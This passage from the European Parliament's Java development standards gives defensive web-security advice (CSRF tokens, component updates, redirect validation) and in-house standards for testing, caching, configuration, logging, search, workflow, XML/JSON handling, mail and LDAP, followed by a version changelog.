• ensure that there are no XSS vulnerabilities in your application (See theXSS chapter)

• insert custom random tokens into every form and URL that will not beautomatically submitted by the browser.

Example of custom random token added to a form.

<form action="transfer.do" method="post"><input type="hidden" name="6567868769"value="685534452438976765 ">...</form>

For example, the form above submits a parameter named "6567868769", itsvalue is checked to determine if the token is correct. Such tokens can beunique to a page for a specific user or simply unique to the overall session.The more unique a token is, the better the protection is but on the otherhand more complicated it will be to construct and to maintain.

Don’t implement this random token functionality, standard UI technologieschosen for European Parliament usually provide this kind of mechanism out-of-the-box.

• do not use GET requests (URLs) for sensitive data or to perform valuetransactions. Use only adequate (POST,DELETE,PUT) methods whenprocessing sensitive data from the user. Of course, this alone is aninsufficient protection. You must also combine it with random tokens,and method-based security.

2.6.2.11. A9: Using Components With Known Vulnerabilities


Virtually every application has these issues because development teams don’t always focus onensuring their components/libraries are up to date.

In many cases, the developers don’t even know all the components they are using, never mindtheir versions. Component dependencies make things even worse.



Page 75 of 103

First and foremost, stick to supported technologies validated in EuropeanParliament, for some work has already been done to assert they contain fewvulnerabilities.

• Identify all components and the versions you are using, including alldependencies.

• Monitor the security of these components in public databases, projectmailing lists, and security mailing lists, and keep them up to date.

• Establish security policies governing component use, such as requiringcertain software development practices, passing security tests, andacceptable licenses.

• Where appropriate, consider adding security wrappers aroundcomponents to disable unused functionality and/ or secure weak orvulnerable aspects of the component.

2.6.2.12. A10: Unvalidated Redirects and Forwards


Applications frequently redirect users to other pages, or use internal forwards in a similarmanner. Sometimes the target page is specified in an unvalidated parameter, allowingattackers to choose the destination page.

Detecting unchecked redirects is easy. Look for redirects where you can set the full URL.Unchecked forwards are harder, because they target internal pages.


Here are ways to avoid unvalidated redirects and forwards:

• Limit the use of explicit redirects and forwards.

• If used, don’t involve user parameters in calculating the destination.

• If destination parameters can’t be avoided, ensure that the suppliedvalue is valid, and authorized for the user.

• It is recommended that any such destination parameters be a mappingvalue, rather than the actual URL or portion of the URL, and that serverside code translate this mapping to the target URL (routing).

2.6.2.13. Conclusion

This document described the typical potential web application security vulnerabilities andtheir protections. We noticed that a same protection can protect against severalvulnerabilities. Most protections are straightforward to implement. The real challenge is thatthe developers need to be aware of them and have time to implement them.

Three main simple things to retain from this:

• Always validate any input from the user, or from a source of data (service, database,directory…etc), in order to ensure it has the expected format. In case of doubt, escapespecific characters to avoid their interpretation. Validate the application’s output toensure your application does not expose its consumers.

• Always ensure the application is using recently validated technologies (avoid obsolescence)

• Always ensure the application uses centrally managed Security and Session managementcomponents (i.e. does not implement custom security libraries).


Page 76 of 103

2.7. CODE TESTING

2.7.1. Unit tests


A unit test is a piece of code written by a developer that executes a specific unit (method,functionality, component…) in the system.

Unit tests ensure that the system under test (e.g. a given unit of code) is working as intendedand validate that this is still the case after code changes.

Unit tests should embed their whole fixture. A test that uses an external fixture (e.g. adatabase server, an HTTP server or any external dependable element) is NOT a unit test.

Unit tests should run fast and run often.

2.7.1.2. Standards

2.7.1.2.1. Scope

Unit testing applications is a core practice of decent coding.

Why should one use a unit testing framework?

• Coding Integrity: Using a testing framework is beneficial because it forces you to explicitlydeclare the expected results of specific program execution routes.

• Feedback: When debugging it is possible to write a test which expresses the result you aretrying to achieve and then debug until the test’s outcome is positive.

• Non-regression: By having a set of tests that test all the core components of the project itis possible to modify specific areas of the project and immediately see the effect themodifications have on the other areas by the results of the test, hence, side-effects can bequickly realized.

2.7.1.2.2. Test doubles

Test doubles give the possibility to execute a test in isolation of the targeted environments; anessential characteristic of unit testing (in opposition with, for example, integration testing).

Unit testing can also define and make use of Mock objects. Mock objects are a variety of testdoubles where a real object is simulated in the unit tests by a replacement that exhibits anexpected behaviour (this behaviour can then be asserted). There are several frameworksavailable for creating and using mock objects inside unit tests.

Tests may also use Stubs. A stub is another type of test double that returns canned values tomethod calls. It may record information about the calls, like the number of calls, or aggregatethe parameters of the calls for further analysis and assertions. In this case, it can also becalled a Test Spy.

Note that Mocks and Stubs are different, though mocking frameworks tend to allow theimplementation of both, therefore blurring the lines between these test doubles.

Other test doubles are Fakes and Dummies. Fakes are emulating the full behaviour of thetarget system (an in-memory database for example) whereas Dummies are just placeholdersfor testable values that can be passed as parameters for example.


Page 77 of 103

2.7.1.2.3. Supported frameworks

Frameworks for unit tests:

• JUnit 4+ is a test framework which uses annotations to identify methodsthat are tests. JUnit assumes that all test methods can be executed in anarbitrary order and, since JUnit 4.6, in parallel. Therefore tests shouldnot depend on other tests or make use of resources that cannot beshared (these resources are usually good candidates for mocks).

Frameworks for mocking:

• Mockito

• EasyMock provides Mock Objects for interfaces

Useful fakes:

• HSQLDB: in-memory database

• H2: in-memory database

• Derby: in-memory database with XA support

• mock-javamail: Java Mail API fake provider

2.7.1.3. References



Name Reference

JUnit http://www.junit.org

EasyMock http://easymock.org

Mockito https://site.mockito.org/

HSQLDB http://hsqldb.org

H2 http://www.h2database.com

Derby https://db.apache.org/derby/

XUnit Patterns http://xunitpatterns.com/


Page 78 of 103

http://www.junit.org

http://easymock.org

https://site.mockito.org/

http://hsqldb.org

http://www.h2database.com

https://db.apache.org/derby/

http://xunitpatterns.com/

2.7.2. Behaviour driven tests


Behaviour-driven development is about implementing an application by describing itsbehaviour from the perspective of its stakeholders.

— Dan North

Behaviour-driven development works on the principle that a set of behaviours defines afeature of a software application; and that stories, scenarios, steps, along with test codedescribe the behaviours.

• A story defines the scope of a set of related behaviours.

• A scenario is a textual representation of a particular behaviour.

• A step is a syntactical expression that divides a scenario into multiple elements, givingeach element its specific role in that scenario.

• A piece of test code, usually a method in a test class, is the executable representation of astep.

Story XYZ

Scenario 1: Title

As a [X]Step 1 I want [Y]

Step 2 So that [Z]Step 3

Scenario 2: Title

Given [someinitial context]

Step 1 When [an event

occurs]Step 2

Then [ensuresome outcomes]

Step 3

2.7.2.2. Standards

2.7.2.2.1. Scope

Why use behaviour driven testing?• Behaviour-driven development is a specialized version of test-driven development which

focuses on behavioural specification of software units. It aims to provide anautomatable description of the behaviours of the system, from the point of view of thestakeholders. Therefore, the language and its grammar derive from the communicationbetween the stakeholders and the business analysts. The first advantage is that thisdomain language is usable and understandable by the domain experts; they should evenbe able to write their own scenarios.

• The second advantage is that, since behaviours almost never changes, you can simplyreplace complete parts of an application without having to rewrite the specifications.Instead of fixing tests, you only need to fix the context. Fixing context implementationsis usually less work compared to rewriting unit tests since a unit test usually contains alot of dependencies, in comparison to a single sentence of context grammar whichtypically handles only a single dependency.

Tools for behaviour driven tests:


Page 79 of 103

• JBehave is a framework for Behaviour Driven Development. It is based ontextual stories that follow a recognized pattern (JBehave or Gherkinsyntax) and on corresponding Java annotations in the test code. The testexecution can be automated from Maven and Ant, or directly inside theEclipse IDE.

• Jasmine is a framework for Behaviour Driven Development written inJavascript. Like JBehave, it is also based on textual stories. But is usesjavascript functions rather than annotations.

2.7.2.3. References


Name Reference

JBehave http://jbehave.org

Jasmine https://jasmine.github.io


Page 80 of 103

http://jbehave.org


2.7.3. Acceptance tests


Acceptance tests are checks that verify the software application meets requirements definedby business stakeholders (referring to the people with the responsibility and authority tospecify these requirements).

Acceptance testing is usually a black box type of testing and focuses on the functionality andthe usability of the application rather than the technical aspects. It is assumed that thesoftware application has already undergone Unit, Integration and System Level Testing.

An acceptance test defines a pre-defined set of conditions and actions along with the formaldescription of the corresponding expected results. The test environment should be identical,or as close as possible, to the anticipated production’s environment.

These tests are usually created by business stakeholders and expressed in a business domainlanguage, related to real business rules and examples.

This type of testing gives the end users the confidence that the software application beingdelivered to them meets the required business functions. There may also be legal orcontractual requirements for acceptance of the system.

2.7.3.2. Standards

2.7.3.2.1. Scope

Why use acceptance testing?• Acceptance test cards should be created early in the development process, ideally

before development begins, therefore developers have a clear idea of what to develop.

• As tests pass their acceptance criteria, business stakeholders can be confident of thefact that developers are progressing in the right direction about how the applicationwas envisaged to work.

The acceptance phase may also act as the final stage of a development project and can occurbefore the customer accepts the final product.

Tools for acceptance tests

• Selenium is a portable software testing framework for web applications.

• Protractor is an end-to-end testing framework dedicated to Angularapplications. It is based on Jasmine, a javascript behavior-drivenframework. See also the Behaviour Driven Tests standards.


Page 81 of 103

2.7.3.3. References


Name Reference

Selenium http://seleniumhq.org/

Protractor http://www.protractortest.org/


Page 82 of 103

http://seleniumhq.org/

http://www.protractortest.org/

2.8. CROSS-CUTTING CONCERNS

2.8.1. Cache


A cache is a collection of temporary data which either duplicates data located elsewhere or isthe result of a computation. Once in the cache, the data can be repeatedly accessedinexpensively.

Caching is used throughout computing, from CPU caches to the DNS system, because it helps tolocally:

• keep data near some other data,

• keep data that has just been used is more likely to be used again.

The underlying principle is that if 20% of objects are used 80% of the time and a way can befound to reduce the cost of obtaining that 20%, then the system performance will improve.

This standard does not cover distributed caching yet. Contact European Parliament for moreinformation on this specific use-case.

2.8.1.2. Standards

2.8.1.2.1. Scope

European Parliament recommends the use of Cache in order to improve performance of time-consuming data retrieval operations.

2.8.1.2.2. Caching scenarios

2.8.1.2.2.1. Accessing a common read-only data-store

Whenever your application does rely on a data-store that doesn’t change very often, the use ofcache is recommended.

Usually, even a cache that lasts for a few minutes can improve the throughput, avoidingrepeated concurrent access to a constrained resource.

2.8.1.2.2.2. Accessing distant services

Whatever the used technology is, remote access always implies connection and serialization(marshalling/un-marshalling) drawbacks.

Use of cache can greatly improve the performance of these kind of accesses, allowing similarresults to an identical request signature to avoid the distant access and return instantly.

When using Web Service it is recommended to use http caching that allows cache semantic tobe shared between client and server. The server can communicate how long a resource cansafely be cached and the client can ask if the resource cached is still valid. An importantsubset of Web Service clients are browser that already implements http cache.

2.8.1.2.2.3. Optimizing repeating tasks

If your application uses some Ajax functionalities that imply repeated calls all the way down toa data-store or to a given process, using cache can improve immediate feedback.

For example, caching the expected contents of an auto-complete field, even for a smallamount of time will help you avoid the clutter of having each key stroke retrieving the


Page 83 of 103

appropriate content.

2.8.1.2.3. Standard frameworks and APIs

Cache must not become a sub-system of your application, and must be keptas straightforward as possible.

• During development/tests: use whichever simple implementation you seefit (a simple map in unit tests, or a simple configuration of EhCache).

• During runtime and for production: prefer EhCache.

• In both cases, prefer the use of Cache abstractions such as the oneprovided by Spring Cache, or the implementation of JCache (JSR 107) inEhCache 3.x+.

• Hibernate provides caching at multiple levels and can be configured touse EhCache. Recent versions of Hibernate can use JCacheimplementations directly. EhCache 3.x+ is the chosen JCacheimplementation at EP.

2.8.1.3. References



Name Reference

Ehcache https://www.ehcache.org/


Page 84 of 103

https://www.ehcache.org/

2.8.2. Validation


By Validation we mean the operation of checking if an object’s properties respect somedefined set of rules.

Several sets of validation rules can coexist and their pertinence is context specific but we canhave a minimum set of rules that should always be respected.

Some rules are local: they check only the current object properties. Other rules are global:they check properties of the current object with a set of objects. Example: checking that thelength of the property name is 3 to 15 characters is a local rule; checking that the propertyname appears only once for this class of object is a global rule.

Bean Validator allows usage of different set of rules and can very easily be used to check localconstrains.

2.8.2.2. Standards

2.8.2.2.1. Scope

All the projects which needs to check the objects against the relevant set of rules.

2.8.2.2.2. Standard framework and specification

The standard in European Parliament is using a JSR 380 (Bean Validation2.0) implementation: Hibernate Validator 6.x.

2.8.2.3. References


Name Reference

Hibernate Validator http://www.hibernate.org/subprojects/validator.html


Page 85 of 103

http://www.hibernate.org/subprojects/validator.html





2.8.3. Configuration


This document describes the best practices and standard approaches to applicationconfiguration.

It describes mainly how applications are supposed to externalize some of their parameters inorder to make them accessible to IT Operations and also describes which parameters should beexternalized.

What applies here to the example of Apache Tomcat, is also applicable to any other kind ofstandard European Parliament runtime deployed on Linux servers in the datacenter.

2.8.3.2. Standards

2.8.3.2.1. Scope

This paragraph lists the different elements that must NOT be hard-coded inside of anapplication deliverable. The project team MUST deliver the full project tree containing thenecessary war, jar and all necessary configuration files in their appropriate folder.

In order to understand how to configure the sub-systems mentioned below, please read therelevant corresponding standards.

2.8.3.2.1.1. References to hosts, IP addresses, ports and network resources

Any reference to a network host, an IP address or a port (or a combination of those in the formof a URL) MUST be parameterized and externalized.

This extends to any other type of reference to a network resource (NFS, CIFS, SSH, FTP…etc).

2.8.3.2.1.2. File system paths

Any reference to a file system path must be parameterized and externalized.

2.8.3.2.1.3. JDBC URLs

Use of JNDI datasources is advised for this purpose. Applications can use Spring framework tolookup JNDI datasources.

2.8.3.2.1.4. JMS configuration

JMS Client configuration must be parameterized and externalized.

2.8.3.2.1.5. LDAP connection configuration

Parameters for the connection to LDAP libraries must be externalized (see “LDAP standards”for more information).

2.8.3.2.1.6. Mail configuration

If an application needs to send mails, it must use the JavaMail API and the parameters mustalso be externalized (see “Email Sending standards” for more information).

2.8.3.2.1.7. Security configuration

Security parameters, most importantly principals and credentials, must be externalized, andcredentials must be secured (even though the security of production credentials is already


Page 86 of 103

ensured by the separation of deployment environments).

2.8.3.2.1.8. Logging Configuration

Logging configuration must always be externalized and configured at the server level, notinside the application (see “Logging standards” for more information).

2.8.3.2.2. General Standards

2.8.3.2.2.1. Externalizing properties

It is mandatory to externalize Properties files.

In European Parliament’s Apache Tomcat, an etc/ folder is always available at a runtime’s rootlevel. That folder is specific to the instance and must not be confused with the global /etc/folder on a Unix/Linux host.

Content of this folder is directly available in the classpath, just as a WEB-INF/classes folder isin a web application.

In an application, using Spring framework’s PropertyPlaceHolders with a "classpath:" or"classpath*:" prefix allows loading properties files placed in that etc/ folder.

If you need to access these properties files directly, without Spring framework’s helper, be sureto use the proper portable syntax, allowing to retrieve a resource from the Classloader of anapplication hosted in a Java EE server:

Thread.currentThread().getContextClassLoader().getResource...

2.8.3.2.2.2. System properties and Environment Variables

Properties files should be preferred to System properties or Environment Variables.

However you may not always have control on this and some frameworks/libraries/solutionsmay need you to set some specific system properties.

In Apache Tomcat server, for example, a conf/ folder is available in every runtime, and thisconf/ folder contains a default ep-foundry.conf file. This file is a Unix shell script.

The server bootstrap scripts are supposed to invoke this file first, and then to invoke all filesmatching the ep-foundry.*.conf pattern in natural order.

You may therefore define a conf/ep-foundry.myapp.conf file which may define newenvironment variables, or override existing ones.

For example, if you needed to add a new java system property to Apache Tomcat bootstrap,the content of the file would be:

#!/bin/shTOMCAT_JAVA_OPTS="$TOMCAT_JAVA_OPTS -Dprop1=value1"TOMCAT_JAVA_OPTS="$TOMCAT_JAVA_OPTS -Dprop2=value2"

export TOMCAT_JAVA_OPTS


Page 87 of 103

Notice that in order for these scripts to be operational on independent of the shellimplementation, the direct export Variable="Value" syntax must be avoided. First define thevariable, and then export it.

Don’t forget to include the existing variable in your variable if you wish to append a value toit. Not doing so would obviously destroy previous content.

These system properties and/or environment variables may then be used in Tomcatconfiguration files using ${placeholders}.

A JVM agent is available to load properties into a JVM through external(possibly encrypted) configuration files, in order to avoid passing sensitiveinformation in an application’s command line (which would otherwise beeasily visible to any administrator of the system).

2.8.3.3. References


Name Reference

Apache Tomcat 8.0.xconfiguration

https://tomcat.apache.org/tomcat-8.0-doc/config/index

Apache Tomcat 9.xconfiguration

https://tomcat.apache.org/tomcat-9.0-doc/config/index.html


Page 88 of 103



2.8.4. Logging


In development and (non-performance) testing the most important consideration is gettingmaximally useful logging information. In production, a compromise between performanceneeds and logging information must be carefully chosen.

Logging is a common issue for development teams. Several frameworks ease and standardizethe process of logging for the Java platform.

2.8.4.2. Standards

2.8.4.2.1. Scope

All the dev teams need to know what their java applications are doing. Without java logs, andthe level of understanding achieved through it, they may not be able to figure out what wentwrong.

2.8.4.2.2. Standard use of logging frameworks

Applications MUST:

• use SLF4J API

• use external configuration files (avoid files in the application archive)

• be familiar with logging levels (DEBUG, INFO, WARN, ERROR), and withtheir usage in the different environments. The choice of logging level canaffect the performance of the application. The more an application logs,the more it performs file IO which in turns slows down the application. *use a common pattern in order to be easily processed by a log collector

Applications MUST NOT:

• Use log4j library in the projects. This library is usually included in the EPweb servers. Log4j is the logging engine and therefore the actual loggingimplementation used to produce log output.

• Use any other logging framework. If a framework makes transitive use ofanother logging framework, it must be bridged to SLF4J, using SLF4jadapters.

Apache Log4J 1.x will be replaced by Log4j2 in the future releases of servers(Apache Tomcat 9+).

2.8.4.3. Adding context to log events

In order to add context to log events, the MDC (Mapped Diagnostic Context) provided by SLF4Jprovides a map that can be filled with additional context (e.g. identifier of current action,current transation, current interaction with remote system…), and then be output in the logfiles, to allow correlating multiple log events together.

2.8.4.4. References



Page 89 of 103


Name Reference

SLF4J http://www.slf4j.org/


Page 90 of 103

http://www.slf4j.org/

2.8.5. Indexation/Search engine


Elasticsearch is an open source search server released under multiples Licenses : Apache 2.0(Open Source), Basic, Gold & Platinium. It provides a distributed, multitenant-capable full-textsearch & analytics engine. Elasticsearch is developed in Java.

2.8.5.2. Standards

2.8.5.2.1. Standard Search engine

Elasticsearch is the default target for all projects in the EuropeanParliament which need to index documents, to perform search of documentsand contents and to analyze all kind of logs.

2.8.5.2.2. Pre requisites

This server must be launched using OpenJDK 8 or OpenJDK 11.


the same template is used to build packages for local workstation and for central servers. thepackage contains:

• standard Elasticsearch engine

• scripts for the startup/shutdown for developer workstations, scripts forinit/startup/shutdown/status/kill for linux/unix servers.

The use of the standalone version of Elasticsearch is mandatory.

2.8.5.3. References


Name Reference

Elacticsearch

https://www.elastic.co/products/elasticsearch


Page 91 of 103






2.8.6. Workflow


Flowable is a light-weight open-sources(APL) workflow engine that supports BPMN 2. Flowableis a fork of the Activiti project.

2.8.6.1.1. Scope

Flowable is the supported standard for all projects needing to separatebusiness worflow logic from other application code. Therefore it streamlinesthe implementation of your workflows.

2.8.6.1.2. General

The general standards are :

• to be familiar with the BPMN notation

• to be familiar with Spring Framework

Flowable offers a good integration with Spring Framework & Spring Integration. Flowable doesnot need Spring Framework but using Flowable with Spring Framework is a very good practice.

2.8.6.1.3. Workflow format

You can define your workflow process directly in XML.

Flowable relies on BPMN version 2.0. It is also very important to understandthat apart from the marketting of vendors (including activiti) BPMN is verydifferent from the holistic management method called BPM, embodied in theEuropean Parliament by the use of Aris BPM.

BPMN notation must not be used for any other purposes than pure workflowconcerns.

2.8.6.2. References


Name Reference

OMG BPMN (BusinessProcess ManagementNotation)

http://www.bpmn.org/


You can find more information on Flowable in the website :

Name Reference

Flowable https://www.flowable.org/


Page 92 of 103

http://www.bpmn.org/

https://www.flowable.org/

2.8.7. OXM (Object-XML mapping)


Object/XML Mapping is about converting an XML document to and from an object.

Unlike the two main XML APIs, DOM (Document Object Model) and SAX (Simple API for XML)which deal with the structure of an XML document, Object/XML Mapping enables applicationsto deal with the data defined in an XML document through an object model which representsthat data.

The process of converting an object to an XML document is known as XML Marshalling, or XMLSerialization.

The process of converting an XML document to an object is known as XML Unmarshalling, orXML Deserialization.

The conversion may require a precise mapping between the XML structure and the object’sclass definition. Defining such an explicit mapping is known as XML data binding.

Spring OXM adds an abstract layer between Spring beans and OXM frameworks. This abstractionallows developers to switch O/X mapping frameworks with relative ease, with little or nochanges required on the classes that do the marshalling.

2.8.7.2. Standards

2.8.7.2.1. Scope

2.8.7.2.2. General

The European Parliament supports the use of Object/XML Mapping (OXM) instead of direct useof XML APIs. Furthermore, the European Parliament promotes the use of Spring OXM to benefitfrom an abstract layer between Spring beans and OXM frameworks.

This is a global standard that can be tempered with for very specific needs.

2.8.7.2.2.1. Standard Object/XML Mapping framework

The standard framework for dealing with Object/XML Mapping (OXM) isSpring OXM.

Spring OXM is a Spring framework module for adding an abstract layer between Spring beansand OXM frameworks.

Some of the benefits of using Spring OXM for your O/X mapping needs are:

• Ease of configuration. Spring’s dependency injection makes it easy to configuremarshallers, without needing to construct JAXB context, etc. The marshallers can beconfigured as any other bean in your application context.

• Consistent Interfaces. Spring’s O/X mapping operates through two global interfaces: theMarshaller and Unmarshaller interfaces. These abstractions allow you to switch O/Xmapping frameworks with relative ease, with little or no changes required on the classesthat do the marshalling. This approach has the additional benefit of making it possible todo XML marshalling with a mix-and-match approach (e.g. some marshalling performedusing JAXB, other using XStream) in a non-intrusive fashion, leveraging the strength of eachtechnology.

• Consistent Exception Hierarchy. Spring provides a conversion of exceptions from theunderlying O/X mapping tool to its own exception hierarchy with the XmlMappingExceptionas the root exception. As can be expected, these runtime exceptions wrap the original


Page 93 of 103

exception so that no information is lost.

The following chapters are talking about different frameworks compatible with Spring OXM.

2.8.7.2.2.2. Presentation of OXM frameworks for Spring OXM

JAXB2

The Java Architecture for XML Binding (JAXB) enables applications to bind between XMLschemas and Java representations, making it easy for Java developers to incorporate XML dataand processing functions in Java applications. As part of this process, JAXB provides methodsfor unmarshalling XML instance documents into Java content trees, and then marshalling Javacontent trees back into XML instance documents.

The JAXB binding process relies on an XML schema as input to generate JAXB classes based onthat schema. Once all of the generated classes are compiled, this object-model can be used tomarshall and unmarshall XML documents according to the constraints defined in the sourceschema (the content may be validated before marshalling).

JAXB also provides a way to generate XML schema from Java objects.

JAXB also supports unmarshalling XML data from sources other than files/documents, such asDOM nodes, string buffers, SAX Sources, and so forth.

XStream

XStream is a simple library to serialize objects to XML and back again. XStream is a simple XMLserialization library, not a data binding library.

Consider XStream when you only need to have a readable serialization of your objects.

2.8.7.2.2.3. How to choose between these frameworks

XML Schema / Java beans Conversion

If you need to start conversion from Java beans to XML Schema, prefer these mappers:

• JAXB

If you need to start conversion from XML Schema to Java beans, prefer:

• JAXB

Frameworks which could work without XSD are:

• XStream

Annotations

Annotations are supported by most frameworks:

• JAXB

• XStream

Annotations are not always the most efficient mean for mapping. It cannot be as flexible asXML mapping file.


Page 94 of 103

2.8.7.3. References



Name Reference

Spring OXM http://docs.spring.io/spring-ws/sites/1.5/reference/html/oxm.html

JAXB https://jaxb.dev.java.net/http://www.oracle.com/technetwork/articles/javase/index-140168.html

XStream http://x-stream.github.io/

2.8.7.3.3. Glossary

Term Definition

Marshaller A marshaller is responsible for serializing an object (graph) to XML

Unmarshaller An unmarshaller deserializes the XML to an object graph


Page 95 of 103

http://docs.spring.io/spring-ws/sites/1.5/reference/html/oxm.html

https://jaxb.dev.java.net/

http://www.oracle.com/technetwork/articles/javase/index-140168.html

http://x-stream.github.io/

2.8.8. JSON Handling


JSON is the defacto standard for serialization used in web services, search engines, and evensome databases or configuration files.

2.8.8.2. Standards

2.8.8.2.1. Scope

2.8.8.2.2. General

The European Parliament supports the use of JSON.

2.8.8.2.2.1. Standard JSON Handling libraries

The java library to be used to handle JSON is the Jackson java library.

It is fully supported by other standard frameworks such as e.g. Spring framework.

2.8.8.3. References


Name Reference

Jackson https://github.com/FasterXML/jackson


Page 96 of 103

https://github.com/FasterXML/jackson

2.8.9. Mail


Nowadays, most of applications need to send emails.

The current document describes several standards and best practices that aim to:

• avoid malformed emails though respect of official email standard

• standardize software development and maintenance by using a unique API

• ease software development and maintenance by applying some level of abstraction

• avoid attached files being blocked and messages being detected as a SPAM through respectof best practices

2.8.9.2. Standards

2.8.9.2.1. Standard frameworks and APIs

European Parliament supports using the JavaMail API to send emails fromapplications.

European Parliament supports using the Spring Framework’s support forJavaMail, to benefit from a higher level of abstraction over the lower levelmail system.

2.8.9.2.2. Description of Standards

2.8.9.2.2.1. Standard API

The JavaMail API provides a platform-independent and protocol-independent framework tobuild mail and messaging applications. The JavaMail API is included in the Java EE platform.

2.8.9.2.2.2. Standard RFC

Emails must respect the standards in order to avoid being considered as a malformed messagesand thus as a SPAM.

Therefore an email must conform to the different RFCs, in particular the RFC 822 whichdefines the mandatory and optional fields of an email.

2.8.9.2.3. Spring Framework

The Spring Framework’s mail support ships with the standard JavaMail implementation.

It provides a helpful utility library for sending email that shields the user from the specifics ofthe underlying mailing system and is responsible for low level resource handling on behalf ofthe client.

Spring Framework’s mail package provides a higher level of abstraction over the lower levelmail system through:

• A hierarchy of checked exceptions over the lower level mail system exceptions

• A simple central interface for sending emails encapsulating the properties of a simple mailsuch as from and to (plus many others)

• An interface specialized in JavaMail features such as MIME message support


Page 97 of 103

2.8.9.2.4. Best Practices

2.8.9.2.4.1. Sender’s email address

The sender’s email address must be a real address which is defined within the Active Directory.

It is better to use an application mailbox as the sender’s mailbox rather than a user mailboxbecause a user can leave the European Parliament or can be absent, an application mailbox islonger available in time.

The sender’s mailbox must be managed, because this mailbox will receive the NDR when amessage cannot be delivered to its recipient. The most common way to manage it is through adelegation.

2.8.9.2.4.2. Recipient’s email address

If you need to send an email to a large amount of recipients, it is necessary to send it inseveral times. Moreover, it is recommended to wait several minutes between each sendingavoiding thus to be considered as a spammer and overload the email infrastructure.

If you want to hide to the recipients, the list of all the people who receive the email, you canuse the BCC (Blind Carbon Copy) field.

2.8.9.2.4.3. Email encoding

The message must be encoded in UTF-8, thus the message can be written in all officialEuropean languages.

For security reasons, it is forbidden to include scripting within emails.

2.8.9.2.4.4. Attached files

Size

If your application sends emails outside of the European Parliament, you need to be aware thatthe attached files can be blocked by the SMTP gateway of the recipient’s email address. Mostof the time, the attached files are blocked if their size is bigger than 10 Mo.

Extension

If your application sends emails outside of the European Parliament, you need to be aware thatthe attached files can be blocked for security reasons by the SMTP gateway of the recipient’semail address.

Certain kind of files can include viruses; therefore certain file extensions are blocked. So,when it is possible, it is recommended to send:

• PDF files

• ZIP files

Images & background images

If your application sends HTML emails Including images or background images, it is better touse in-line images or to be sure that the source is accessible by the recipients (inside oroutside)

2.8.9.3. References


Page 98 of 103


Name Reference

RFC 822 http://www.ietf.org/rfc/rfc2822.txt


Name Reference

JavaMail http://www.oracle.com/technetwork/java/javamail/index.html

Java EE http://www.oracle.com/technetwork/java/javaee/overview/index.html


Page 99 of 103

http://www.ietf.org/rfc/rfc2822.txt

http://www.oracle.com/technetwork/java/javamail/index.html

http://www.oracle.com/technetwork/java/javaee/overview/index.html

2.8.10. LDAP


The Lightweight Directory Access Protocol (LDAP) is an application protocol for accessing andmaintaining distributed directory information services over an Internet Protocol (IP) network.

2.8.10.2. Standards

2.8.10.2.1. Scope

All projects which need to have a relevant source for emails, group-mails and application roles(AD groups).

This document is not related to authentication or authorisation. For this need, refer to“Application Servers Security” standards.

2.8.10.2.2. AD/LDAP

Microsoft Active Directory offers an LDAP interface. This interface can be queried in Java usingthe javax.naming APIs.

AD is a relevant source for emails, group-mails and application roles (ADgroups). A Java library is available (see below).

Though, in the EP, it is forbidden to access directly the Active Directory LDAPinterface from any application. Some applications may have theauthorization to make such calls, and will then expose REST APIs to otherapplications in order to access this referencial type of data.

2.8.10.2.3. EPDir

EPDir is a separate source of information.

It provides an LDAP view. It is not directly linked to the AD.

It aggregates data from multiple source into a business-oriented, well-organized tree.

EPDir people-related data is more consistent and up-to-date than most ofAD’s equivalent data.

Though, in the EP, it is forbidden to access directly the EPDir LDAP interfacefrom any application. Some applications may have the authorization to makesuch calls, and will then expose REST APIs to other applications in order toaccess this referencial type of data.


Page 100 of 103

3. CHANGELOG3.1. EP Development Standards v1.2

3.1.1. Special Notes

This version will be an annual refresh of v1.1. Read the special notes for v1.0 for moreinformation of the change in the standards' format which started in 2016.

3.1.2. Added

• Package naming standard (formerly hosted in an internal wiki and mistakenly omitted fromStandards).

• Added MapStruct as an option for copying POJO state (object-to-object mapping).

• Jetbrains Webstorm was added as a standard IDE.

• Jaspic was added as reference for modern security mechanisms.

• Postgresql was added as a standard target database.

• Added Protractor as an acceptance testing tool.

• Added VueJS as a Web UI framework.

• Added caching practices for web service clients.

• Added explicit JSON Standard (used to be implicit through Spring Framework).

3.1.3. Changed

• Java standard is now OpenJDK 1.8.0, until OpenJDK 11 is available.

• Tomcat 8.0.x must be started using OpenJDK 1.8.0.

• Made the mandatory use of SLF4J more obvious.

• Subversion is now officially obsoleted, making Git the source control managementstandard.

• Upgraded overall JavaEE compatibility scope to JavaEE 7.0, with same restrictions asbefore.

• Bean validation JSR upgrade.

• Removed mention of Container transaction manager, now simply referring to the use of aDatasource.

• Flowable is the new workflow standard.

3.1.4. Fixed

• Small formal changes in the OWASP Top 10.

3.1.5. Removed

• Removed support for ep-foundry-directory-* libraries, mistakenly added to the LDAPstandards.

• ExtJS is now obsolete.

• Removed obsolete remarks on the use of annotations in Java code, dating from Java 5/6constraints.

• Removed technical details about Oracle JDBC url, which are now in how-to guides.


Page 101 of 103

• Removed deprecated frameworks (XMLBeans, JibX and Castor) from the possible(un)marshallers usable with Spring OXM.

3.2. EP Development Standards v1.1


This version is an annual refresh of v1.0. Don’t expect major differences, as most of the newstandards where introduced in v1.0. Read the changelog though, just in case the few minorchanges may impact you. Also read the special notes for v1.0 for more information of thechange in the standards' format which started in 2016.

3.2.2. Added

• Explicit standardization of NodeJS/NPM as a build tool.

3.2.3. Changed

• References to AngularJS turned into simply Angular, therefore allowing for the use ofTypeScript in projects using Angular >= 2.x.

• Refreshed the Web UI standards.

3.2.4. Fixed

• Typos: Improper references to European Parliament, without the capital P to Parliament.

• Layout: Added a Table of contents in a left pane in HTML output.

• Old unreachable URLs in references.

• Made explicit in security standards that JSR-196 is not yet available for EPAuth/WebSSO inEuropean Parliament. This will come with Tomcat 8.5.x and further versions.

• Removed explicit reference to ActiveMQ artemis 1.2.x in the standards and replacing itwith 1.x.x, as the standard is still compatible with any available 1.x.x version.

3.2.5. Removed

• Removed support for XMLBeans, which is now a retired project.

3.3. EP Development Standards v1.0


This version is a jump forward from previous standards. It is generated automatically fromcentrally managed sources, and properly versioned and tracked. It is also made accessible froma single point, and also as a single all-in-all document, both in PDF and HTML.

A major changed occured in the version in terms of what standards represent. Formerly,standards were sometimes expressed in an ambiguous way, using terms such as "Standard withrestricted use" or "Legacy standards".

This basically meant that any de facto legacy technology could be considered a standard ifpresented differently. The same would go for technologies implemented in corner-case proofs-of-concept.

From this version on it is made clear that:

• a standard is giving the current trend and direction of technologies used for coding


Page 102 of 103

applications.

• anything not in the standards is considered non-standard, or obsolete (if an older version ofa standard technology).

Non-standard and obsolete technologies may be documented further on, though they’ll not bepart of the standards documentation.

Standards are not the place to discuss for exceptions.

